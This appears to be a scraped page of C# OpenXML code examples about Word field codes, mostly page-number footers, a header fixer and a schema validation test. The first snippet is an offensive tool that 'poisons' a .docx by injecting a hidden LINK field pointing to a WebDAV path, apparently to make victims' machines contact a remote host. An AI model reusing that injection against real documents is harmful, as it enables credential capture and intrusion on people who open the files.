            try
            {
                using (WordprocessingDocument newDoc = WordprocessingDocument.Open(filepath, true))
                {
                    Console.WriteLine("[*] Attempting to poison {0}", filepath);
                    Run run = new Run();

                    FieldChar fieldChar1 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Begin
                    };

                    Console.WriteLine("[*] Injecting new field code pointing to {0}", webdavpath);
                    FieldCode fieldCode1 = new FieldCode()
                    {
                        Space = SpaceProcessingModeValues.Preserve
                    };
                    fieldCode1.Text = " LINK  Excel.Sheet.8 " + webdavpath + " \\a ";

                    FieldChar fieldChar2 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.Separate
                    };

                    RunProperties     runProperties1     = new RunProperties();
                    Bold              bold1              = new Bold();
                    BoldComplexScript boldComplexScript1 = new BoldComplexScript();
                    Languages         languages1         = new Languages()
                    {
                        Val = "en-US"
                    };

                    runProperties1.Append(bold1);
                    runProperties1.Append(boldComplexScript1);
                    runProperties1.Append(languages1);
                    Text text1 = new Text();
                    text1.Text = comment;

                    FieldChar fieldChar3 = new FieldChar()
                    {
                        FieldCharType = FieldCharValues.End
                    };

                    run.Append(fieldChar1);
                    run.Append(fieldCode1);
                    run.Append(fieldChar2);
                    run.Append(runProperties1);
                    run.Append(text1);
                    run.Append(fieldChar3);

                    var paragraph = newDoc.MainDocumentPart.Document.Body.Elements <Paragraph>().FirstOrDefault();

                    paragraph.PrependChild(run);
                    Console.WriteLine("[*] Saving document");
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[*] An error occured: " + e.Message);
            }

            Console.WriteLine("[*] Success, your crop is fertilised, happy farming!");
        }
Exemplo n.º 16
0
        // Generates content of footerPart2.
        private void GenerateFooterPart2Content(FooterPart footerPart2)
        {
            Footer footer2 = new Footer() {MCAttributes = new MarkupCompatibilityAttributes() {Ignorable = "w14 wp14"}};
            footer2.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer2.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer2.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer2.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer2.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer2.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer2.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer2.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer2.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer2.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer2.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer2.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer2.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer2.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer2.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties1 = new SdtProperties();
            SdtId sdtId1 = new SdtId() {Val = -1382393284};

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery1 = new DocPartGallery() {Val = "Page Numbers (Bottom of Page)"};
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties1.Append(sdtId1);
            sdtProperties1.Append(sdtContentDocPartObject1);
            SdtEndCharProperties sdtEndCharProperties1 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            SdtBlock sdtBlock2 = new SdtBlock();

            SdtProperties sdtProperties2 = new SdtProperties();
            SdtId sdtId2 = new SdtId() {Val = 98381352};

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery2 = new DocPartGallery() {Val = "Page Numbers (Top of Page)"};
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties2.Append(sdtId2);
            sdtProperties2.Append(sdtContentDocPartObject2);
            SdtEndCharProperties sdtEndCharProperties2 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock2 = new SdtContentBlock();

            Paragraph paragraph28 = new Paragraph() {RsidParagraphAddition = "0005059E", RsidRunAdditionDefault = "0005059E"};

            ParagraphProperties paragraphProperties9 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId3 = new ParagraphStyleId() {Val = "Footer"};

            paragraphProperties9.Append(paragraphStyleId3);

            Run run44 = new Run();
            Text text29 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text29.Text = "Page ";

            run44.Append(text29);

            Run run45 = new Run();

            RunProperties runProperties23 = new RunProperties();
            Bold bold16 = new Bold();
            BoldComplexScript boldComplexScript16 = new BoldComplexScript();
            FontSize fontSize15 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript15 = new FontSizeComplexScript() {Val = "24"};

            runProperties23.Append(bold16);
            runProperties23.Append(boldComplexScript16);
            runProperties23.Append(fontSize15);
            runProperties23.Append(fontSizeComplexScript15);
            FieldChar fieldChar7 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run45.Append(runProperties23);
            run45.Append(fieldChar7);

            Run run46 = new Run();

            RunProperties runProperties24 = new RunProperties();
            Bold bold17 = new Bold();
            BoldComplexScript boldComplexScript17 = new BoldComplexScript();

            runProperties24.Append(bold17);
            runProperties24.Append(boldComplexScript17);
            FieldCode fieldCode3 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode3.Text = " PAGE ";

            run46.Append(runProperties24);
            run46.Append(fieldCode3);

            Run run47 = new Run();

            RunProperties runProperties25 = new RunProperties();
            Bold bold18 = new Bold();
            BoldComplexScript boldComplexScript18 = new BoldComplexScript();
            FontSize fontSize16 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript16 = new FontSizeComplexScript() {Val = "24"};

            runProperties25.Append(bold18);
            runProperties25.Append(boldComplexScript18);
            runProperties25.Append(fontSize16);
            runProperties25.Append(fontSizeComplexScript16);
            FieldChar fieldChar8 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run47.Append(runProperties25);
            run47.Append(fieldChar8);

            Run run48 = new Run() {RsidRunAddition = "00FB1F22"};

            RunProperties runProperties26 = new RunProperties();
            Bold bold19 = new Bold();
            BoldComplexScript boldComplexScript19 = new BoldComplexScript();
            NoProof noProof23 = new NoProof();

            runProperties26.Append(bold19);
            runProperties26.Append(boldComplexScript19);
            runProperties26.Append(noProof23);
            Text text30 = new Text();
            text30.Text = "2";

            run48.Append(runProperties26);
            run48.Append(text30);

            Run run49 = new Run();

            RunProperties runProperties27 = new RunProperties();
            Bold bold20 = new Bold();
            BoldComplexScript boldComplexScript20 = new BoldComplexScript();
            FontSize fontSize17 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript17 = new FontSizeComplexScript() {Val = "24"};

            runProperties27.Append(bold20);
            runProperties27.Append(boldComplexScript20);
            runProperties27.Append(fontSize17);
            runProperties27.Append(fontSizeComplexScript17);
            FieldChar fieldChar9 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run49.Append(runProperties27);
            run49.Append(fieldChar9);

            Run run50 = new Run();
            Text text31 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text31.Text = " of ";

            run50.Append(text31);

            Run run51 = new Run();

            RunProperties runProperties28 = new RunProperties();
            Bold bold21 = new Bold();
            BoldComplexScript boldComplexScript21 = new BoldComplexScript();
            FontSize fontSize18 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript18 = new FontSizeComplexScript() {Val = "24"};

            runProperties28.Append(bold21);
            runProperties28.Append(boldComplexScript21);
            runProperties28.Append(fontSize18);
            runProperties28.Append(fontSizeComplexScript18);
            FieldChar fieldChar10 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run51.Append(runProperties28);
            run51.Append(fieldChar10);

            Run run52 = new Run();

            RunProperties runProperties29 = new RunProperties();
            Bold bold22 = new Bold();
            BoldComplexScript boldComplexScript22 = new BoldComplexScript();

            runProperties29.Append(bold22);
            runProperties29.Append(boldComplexScript22);
            FieldCode fieldCode4 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode4.Text = " NUMPAGES  ";

            run52.Append(runProperties29);
            run52.Append(fieldCode4);

            Run run53 = new Run();

            RunProperties runProperties30 = new RunProperties();
            Bold bold23 = new Bold();
            BoldComplexScript boldComplexScript23 = new BoldComplexScript();
            FontSize fontSize19 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript19 = new FontSizeComplexScript() {Val = "24"};

            runProperties30.Append(bold23);
            runProperties30.Append(boldComplexScript23);
            runProperties30.Append(fontSize19);
            runProperties30.Append(fontSizeComplexScript19);
            FieldChar fieldChar11 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run53.Append(runProperties30);
            run53.Append(fieldChar11);

            Run run54 = new Run() {RsidRunAddition = "00FB1F22"};

            RunProperties runProperties31 = new RunProperties();
            Bold bold24 = new Bold();
            BoldComplexScript boldComplexScript24 = new BoldComplexScript();
            NoProof noProof24 = new NoProof();

            runProperties31.Append(bold24);
            runProperties31.Append(boldComplexScript24);
            runProperties31.Append(noProof24);
            Text text32 = new Text();
            text32.Text = "37";

            run54.Append(runProperties31);
            run54.Append(text32);

            Run run55 = new Run();

            RunProperties runProperties32 = new RunProperties();
            Bold bold25 = new Bold();
            BoldComplexScript boldComplexScript25 = new BoldComplexScript();
            FontSize fontSize20 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript20 = new FontSizeComplexScript() {Val = "24"};

            runProperties32.Append(bold25);
            runProperties32.Append(boldComplexScript25);
            runProperties32.Append(fontSize20);
            runProperties32.Append(fontSizeComplexScript20);
            FieldChar fieldChar12 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run55.Append(runProperties32);
            run55.Append(fieldChar12);

            paragraph28.Append(paragraphProperties9);
            paragraph28.Append(run44);
            paragraph28.Append(run45);
            paragraph28.Append(run46);
            paragraph28.Append(run47);
            paragraph28.Append(run48);
            paragraph28.Append(run49);
            paragraph28.Append(run50);
            paragraph28.Append(run51);
            paragraph28.Append(run52);
            paragraph28.Append(run53);
            paragraph28.Append(run54);
            paragraph28.Append(run55);

            sdtContentBlock2.Append(paragraph28);

            sdtBlock2.Append(sdtProperties2);
            sdtBlock2.Append(sdtEndCharProperties2);
            sdtBlock2.Append(sdtContentBlock2);

            sdtContentBlock1.Append(sdtBlock2);

            sdtBlock1.Append(sdtProperties1);
            sdtBlock1.Append(sdtEndCharProperties1);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph29 = new Paragraph() {RsidParagraphAddition = "0005059E", RsidRunAdditionDefault = "0005059E"};

            ParagraphProperties paragraphProperties10 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId4 = new ParagraphStyleId() {Val = "Footer"};

            paragraphProperties10.Append(paragraphStyleId4);

            paragraph29.Append(paragraphProperties10);

            footer2.Append(sdtBlock1);
            footer2.Append(paragraph29);

            footerPart2.Footer = footer2;
        }
Exemplo n.º 17
0
        static void Main(string[] args)
        {
            using (var mainDoc = WordprocessingDocument.Open(@"C:\Users\waqas.dilawar\Documents\Recruitment_Pack_–_Recruit_Specification.docx", false))
                using (var resultDoc = WordprocessingDocument.Create(@"C:\Users\waqas.dilawar\Documents\Recruitment_Pack_–_Recruit_Specification-2.docx",
                                                                     WordprocessingDocumentType.Document))
                {
                    // copy parts from source document to new document
                    foreach (var part in mainDoc.Parts)
                    {
                        resultDoc.AddPart(part.OpenXmlPart, part.RelationshipId);
                    }
                    var mainDocPart = resultDoc.MainDocumentPart;
                    var pages       = resultDoc.ExtendedFilePropertiesPart.Properties;

                    //FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                    //FieldCode objFieldCode_2 = new FieldCode();
                    ////it is where we need to set our pages count
                    //objFieldCode_2.Text = "NUMPAGES";
                    //FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
                    var count = 0;
                    foreach (var headerPart in resultDoc.MainDocumentPart.HeaderParts)
                    {
                        //Gets the text in headers
                        foreach (Text currentText in headerPart.RootElement.Descendants <DocumentFormat.OpenXml.Wordprocessing.Text>())
                        {
                            //var parentRun1 = currentText.Parent;
                            //var grandPaa1 = parentRun1.Parent;
                            //var typeOfGParent = grandPaa1.GetType();
                            //parentRun.Append(objFieldCode_2);
                            //grandPaa.Append(objRun_8);
                            //grandPaa.Append(objRun_9);
                            //grandPaa.Append(objRun_12);
                            //var typeOfParent = parentRun1.GetType();
                            // use the StringComparison parameter on methods that have it to specify how to match strings.
                            bool isReview = currentText.Text.EndsWith("Reviewed:", System.StringComparison.CurrentCultureIgnoreCase);

                            bool ignoreCaseSearchResult = currentText.Text.StartsWith(" of ", System.StringComparison.CurrentCultureIgnoreCase);
                            bool isEnds  = currentText.Text.EndsWith("Page: ", System.StringComparison.CurrentCultureIgnoreCase);
                            bool isStart = currentText.Text.StartsWith("Page: ", System.StringComparison.CurrentCultureIgnoreCase);

                            if (ignoreCaseSearchResult && !isEnds || isReview)
                            {
                                Regex re = new Regex(@"\d+");
                                Match m  = re.Match(currentText.Text);
                                if (m.Success && !currentText.Text.Contains("Printed"))
                                {
                                    var isNumeric = int.TryParse(m.Value, out int n);

                                    if (isNumeric)
                                    {
                                        TotalCountChange.ChangeTotalCount(currentText);
                                        #region Before Changes

                                        //var parentRun = currentText.Parent;
                                        //var grandPaa = parentRun.Parent;
                                        //List<Run> runsToRemove = grandPaa.Descendants<DocumentFormat.OpenXml.Wordprocessing.Run>().Skip(0).Take(7).ToList();
                                        //foreach (Run runToRemove in runsToRemove)
                                        //{
                                        //    if(runToRemove.InnerText!="PAGE")
                                        //    runToRemove.RemoveAllChildren();
                                        //    runToRemove.Remove();
                                        //}
                                        ////For Referencing Where to Insert Pagination Nodes
                                        //Run referenceRun = grandPaa.Descendants<DocumentFormat.OpenXml.Wordprocessing.Run>().Skip(0).Take(1).First();
                                        ////New Run For Pagination Node at One Line
                                        //Run newRun = new Run();


                                        #region Working Partially Fine
                                        ////RunProperties runProperties25 = new RunProperties();
                                        ////FontSize fontSize25 = new FontSize() { Val = "16" };
                                        ////runProperties25.Append(fontSize25);

                                        ////Text objText_3 = new Text() { Space = SpaceProcessingModeValues.Preserve };
                                        ////objText_3.Text = " of ";
                                        ////newRun.Append(runProperties25);
                                        ////newRun.Append(objText_3);
                                        //////grandPaa.Append(objRun_7);


                                        ////FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                                        ////newRun.Append(objFieldChar_4);
                                        //////grandPaa.Append(objRun_8);


                                        ////RunProperties runProperties5 = new RunProperties();
                                        ////Spacing spacing1 = new Spacing() { Val = -7 };
                                        ////FontSize fontSize3 = new FontSize() { Val = "16" };
                                        ////runProperties5.Append(spacing1);
                                        ////runProperties5.Append(fontSize3);
                                        ////FieldCode text3 = new FieldCode();
                                        //////it is where we need to set our pages count
                                        ////text3.Text = "NUMPAGES";

                                        ////newRun.Append(runProperties5);
                                        ////newRun.Append(text3);
                                        //////grandPaa.Append(run5);


                                        ////FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
                                        ////newRun.Append(objFieldChar_6);
                                        ////grandPaa.InsertBefore(newRun, referenceRun);
                                        #endregion


                                        #region Working Perfectly Fine
                                        //RunProperties runProperties4 = new RunProperties();
                                        //FontSize fontSize2 = new FontSize() { Val = "16" };

                                        //runProperties4.Append(fontSize2);
                                        //Text text2 = new Text();
                                        //text2.Text = "Page:";

                                        //newRun.Append(runProperties4);
                                        //newRun.Append(text2);
                                        //#region ByWaqas

                                        //FieldChar objFieldChar_1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                                        //newRun.Append(objFieldChar_1);
                                        ////grandPaa.Append(parentRun);


                                        //RunProperties runProperties26 = new RunProperties();
                                        //FontSize fontSize26 = new FontSize() { Val = "16" };

                                        //runProperties26.Append(fontSize26);

                                        //FieldCode objFieldCode_1 = new FieldCode();
                                        //objFieldCode_1.Text = "PAGE";
                                        ////page is page number
                                        //newRun.Append(runProperties26);
                                        //newRun.Append(objFieldCode_1);
                                        ////grandPaa.Append(parentRun);


                                        //FieldChar objFieldChar_3 = new FieldChar() { FieldCharType = FieldCharValues.End };
                                        //newRun.Append(objFieldChar_3);
                                        ////grandPaa.Append(objRun_6);

                                        //RunProperties runProperties25 = new RunProperties();
                                        //FontSize fontSize25 = new FontSize() { Val = "16" };
                                        //runProperties25.Append(fontSize25);

                                        //Text objText_3 = new Text() { Space = SpaceProcessingModeValues.Preserve };
                                        //objText_3.Text = " of ";
                                        //newRun.Append(runProperties25);
                                        //newRun.Append(objText_3);
                                        ////grandPaa.Append(objRun_7);


                                        //FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                                        //newRun.Append(objFieldChar_4);
                                        ////grandPaa.Append(objRun_8);


                                        //RunProperties runProperties5 = new RunProperties();
                                        //Spacing spacing1 = new Spacing() { Val = -7 };
                                        //FontSize fontSize3 = new FontSize() { Val = "16" };
                                        //runProperties5.Append(spacing1);
                                        //runProperties5.Append(fontSize3);
                                        //FieldCode text3 = new FieldCode();
                                        ////it is where we need to set our pages count
                                        //text3.Text = "NUMPAGES";

                                        //newRun.Append(runProperties5);
                                        //newRun.Append(text3);
                                        ////grandPaa.Append(run5);


                                        //FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
                                        //newRun.Append(objFieldChar_6);
                                        ////grandPaa.Append(objRun_12);
                                        //#endregion
                                        //grandPaa.InsertBefore(newRun, referenceRun);
                                        #endregion

                                        #endregion
                                    }
                                }
                            }
                            //Close the Document after If and make else if out of this loop and follow below instruction
                            //Open The Document Here and Access Pages
                            #region Before Changes
                            else if (!isEnds && isStart && !currentText.Text.Contains("Printed"))
                            {
                                Regex re = new Regex(@" of \d+");
                                Match m  = re.Match(currentText.Text);
                                if (m.Success)
                                {
                                    re = new Regex(@"\d+");
                                    m  = re.Match(m.Value);
                                    if (m.Success)
                                    {
                                        var isNumeric = int.TryParse(m.Value, out int n);
                                        if (isNumeric)
                                        {
                                            var parentRun = currentText.Parent;
                                            var grandPaa  = parentRun.Parent;



                                            #region Need to be changed
                                            //Text t = parentRun.Elements<Text>().First();
                                            //t.Text = t.Text.Substring(0, 6);
                                            ////string sub = t.Text.Substring(Math.Max(0, t.Text.Length - 5));
                                            ////t.Text= t.Text.Split(Convert.ToChar("f")).First();
                                            ////t.Text = t.Text + "f";
                                            ////t.RemoveAllChildren();
                                            ////t.Remove();
                                            ////RunProperties runProperties4 = new RunProperties();
                                            ////FontSize fontSize2 = new FontSize() { Val = "16" };

                                            ////runProperties4.Append(fontSize2);
                                            ////Text text2 = new Text();
                                            ////text2.Text = "Page:";

                                            ////parentRun.Append(runProperties4);
                                            ////parentRun.Append(text2);
                                            //#region ByWaqas

                                            //FieldChar objFieldChar_1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                                            //parentRun.Append(objFieldChar_1);
                                            ////grandPaa.Append(parentRun);


                                            //RunProperties runProperties26 = new RunProperties();
                                            //FontSize fontSize26 = new FontSize() { Val = "16" };

                                            //runProperties26.Append(fontSize26);

                                            //FieldCode objFieldCode_1 = new FieldCode();
                                            //objFieldCode_1.Text = "PAGE";
                                            ////page is page number
                                            //parentRun.Append(runProperties26);
                                            //parentRun.Append(objFieldCode_1);
                                            ////grandPaa.Append(parentRun);


                                            //FieldChar objFieldChar_3 = new FieldChar() { FieldCharType = FieldCharValues.End };
                                            //parentRun.Append(objFieldChar_3);
                                            ////grandPaa.Append(objRun_6);

                                            //RunProperties runProperties25 = new RunProperties();
                                            //FontSize fontSize25 = new FontSize() { Val = "16" };
                                            //runProperties25.Append(fontSize25);

                                            //Text objText_3 = new Text() { Space = SpaceProcessingModeValues.Preserve };
                                            //objText_3.Text = " of ";
                                            //parentRun.Append(runProperties25);
                                            //parentRun.Append(objText_3);
                                            ////grandPaa.Append(objRun_7);


                                            //FieldChar objFieldChar_4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };
                                            //parentRun.Append(objFieldChar_4);
                                            ////grandPaa.Append(objRun_8);


                                            //RunProperties runProperties5 = new RunProperties();
                                            //Spacing spacing1 = new Spacing() { Val = -7 };
                                            //FontSize fontSize3 = new FontSize() { Val = "16" };
                                            //runProperties5.Append(spacing1);
                                            //runProperties5.Append(fontSize3);
                                            //FieldCode text3 = new FieldCode();
                                            ////it is where we need to set our pages count
                                            //text3.Text = "NUMPAGES";

                                            //parentRun.Append(runProperties5);
                                            //parentRun.Append(text3);
                                            ////grandPaa.Append(run5);


                                            //FieldChar objFieldChar_6 = new FieldChar() { FieldCharType = FieldCharValues.End };
                                            //parentRun.Append(objFieldChar_6);
                                            ////grandPaa.Append(objRun_12);
                                            //#endregion
                                            #endregion

                                            #region Working Perfectly Fine
                                            Text t          = parentRun.Elements <Text>().First();
                                            var  pageNumber = t.Text.Substring(6, 1);
                                            t.RemoveAllChildren();
                                            t.Remove();
                                            #region UnComment
                                            RunProperties runProperties4 = new RunProperties();
                                            FontSize      fontSize2      = new FontSize()
                                            {
                                                Val = "16"
                                            };

                                            runProperties4.Append(fontSize2);
                                            Text text2 = new Text();
                                            text2.Text = "Page: ";

                                            parentRun.Append(runProperties4);
                                            parentRun.Append(text2);
                                            #region ByWaqas

                                            FieldChar objFieldChar_1 = new FieldChar()
                                            {
                                                FieldCharType = FieldCharValues.Begin
                                            };
                                            parentRun.Append(objFieldChar_1);
                                            //grandPaa.Append(parentRun);


                                            RunProperties runProperties26 = new RunProperties();
                                            FontSize      fontSize26      = new FontSize()
                                            {
                                                Val = "16"
                                            };

                                            runProperties26.Append(fontSize26);

                                            FieldCode objFieldCode_1 = new FieldCode();
                                            objFieldCode_1.Text = "PAGE";
                                            //page is page number
                                            parentRun.Append(runProperties26);
                                            parentRun.Append(objFieldCode_1);
                                            //grandPaa.Append(parentRun);


                                            FieldChar objFieldChar_3 = new FieldChar()
                                            {
                                                FieldCharType = FieldCharValues.End
                                            };
                                            parentRun.Append(objFieldChar_3);
                                            //grandPaa.Append(objRun_6);

                                            RunProperties runProperties25 = new RunProperties();
                                            FontSize      fontSize25      = new FontSize()
                                            {
                                                Val = "16"
                                            };
                                            runProperties25.Append(fontSize25);

                                            Text objText_3 = new Text()
                                            {
                                                Space = SpaceProcessingModeValues.Preserve
                                            };
                                            objText_3.Text = " of ";
                                            parentRun.Append(runProperties25);
                                            parentRun.Append(objText_3);
                                            //grandPaa.Append(objRun_7);


                                            FieldChar objFieldChar_4 = new FieldChar()
                                            {
                                                FieldCharType = FieldCharValues.Begin
                                            };
                                            parentRun.Append(objFieldChar_4);
                                            //grandPaa.Append(objRun_8);


                                            RunProperties runProperties5 = new RunProperties();
                                            Spacing       spacing1       = new Spacing()
                                            {
                                                Val = -7
                                            };
                                            FontSize fontSize3 = new FontSize()
                                            {
                                                Val = "16"
                                            };
                                            runProperties5.Append(spacing1);
                                            runProperties5.Append(fontSize3);
                                            FieldCode text3 = new FieldCode();
                                            //it is where we need to set our pages count
                                            text3.Text = "NUMPAGES";

                                            parentRun.Append(runProperties5);
                                            parentRun.Append(text3);
                                            //grandPaa.Append(run5);


                                            FieldChar objFieldChar_6 = new FieldChar()
                                            {
                                                FieldCharType = FieldCharValues.End
                                            };
                                            parentRun.Append(objFieldChar_6);
                                            //grandPaa.Append(objRun_12);
                                            #endregion
                                            #endregion

                                            #endregion
                                        }
                                    }
                                }
                            }
                            #endregion
                        }
                    }
                }
        }
        private void TestSimpleChoice(SdbSchemaDatas sdbSchemaDatas)
        {
            ValidationContext validationContext = new ValidationContext();
            ValidationResult actual = new ValidationResult();
            validationContext.ValidationErrorEventHandler += actual.OnValidationError;
            OpenXmlElement errorChild;

            FieldChar fldChar = new FieldChar();
            var particleConstraint = sdbSchemaDatas.GetSchemaTypeData(fldChar).ParticleConstraint;
            var target = particleConstraint.ParticleValidator as ChoiceParticleValidator;
            validationContext.Element = fldChar;
            var expected = fldChar;

              //<xsd:complexType name="CT_FldChar">
              //  <xsd:choice>
              //    <xsd:element name="fldData" type="CT_Text" minOccurs="0" maxOccurs="1">
              //    <xsd:element name="ffData" type="CT_FFData" minOccurs="0" maxOccurs="1">
              //    <xsd:element name="numberingChange" type="CT_TrackChangeNumbering" minOccurs="0">
              //  </xsd:choice>
              //</xsd:complexType>

            // ***** good case ******
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.AppendChild(new FieldData());
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new FormFieldData());
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            fldChar.RemoveAllChildren();
            fldChar.AppendChild(new NumberingChange() );
            target.Validate(validationContext);
            Assert.True(actual.Valid);

            // ***** error case ******

            // 1st is invalid
            errorChild = fldChar.PrependChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.True(actual.Errors[0].Description.Contains(":fldData"));
            Assert.True(actual.Errors[0].Description.Contains(":ffData"));
            Assert.True(actual.Errors[0].Description.Contains(":numberingChange"));

            actual.Clear();
            // second is invalid
            fldChar.RemoveChild(errorChild);
            errorChild = fldChar.AppendChild(new Paragraph());
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_InvalidElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));
            
            actual.Clear();
            // dup first child
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));

            actual.Clear();
            // two different 
            fldChar.RemoveAllChildren();
            fldChar.Append(new FieldData(), new FormFieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));

            actual.Clear();
            // two different 
            fldChar.RemoveAllChildren();
            fldChar.Append(new FormFieldData(), new FieldData());
            errorChild = fldChar.LastChild;
            target.Validate(validationContext);
            Assert.False(actual.Valid);
            Assert.Equal(1, actual.Errors.Count);
            Assert.Same(expected, actual.Errors[0].Node);
            Assert.Same(errorChild, actual.Errors[0].RelatedNode);
            Assert.Equal(ValidationErrorType.Schema, actual.Errors[0].ErrorType);
            Assert.Equal("Sch_UnexpectedElementContentExpectingComplex", actual.Errors[0].Id);
            Assert.False(actual.Errors[0].Description.Contains(ValidationErrorStrings.Fmt_ListOfPossibleElements));
        }
Exemplo n.º 19
0
        public static Footer GenerateFooter()
        {
            Footer footer1 = new Footer()
            {
                MCAttributes = new MarkupCompatibilityAttributes()
                {
                    Ignorable = "w14 wp14"
                }
            };

            footer1.SetAttribute(new OpenXmlAttribute("xmlns", "wpi", "http://www.w3.org/2000/xmlns/", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk"));

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties1 = new SdtProperties();
            SdtId         sdtId1         = new SdtId()
            {
                Val = -2004816677
            };

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery          docPartGallery1          = new DocPartGallery()
            {
                Val = "Page Numbers (Bottom of Page)"
            };
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties1.Append(sdtId1);
            sdtProperties1.Append(sdtContentDocPartObject1);

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            SdtBlock sdtBlock2 = new SdtBlock();

            SdtProperties sdtProperties2 = new SdtProperties();
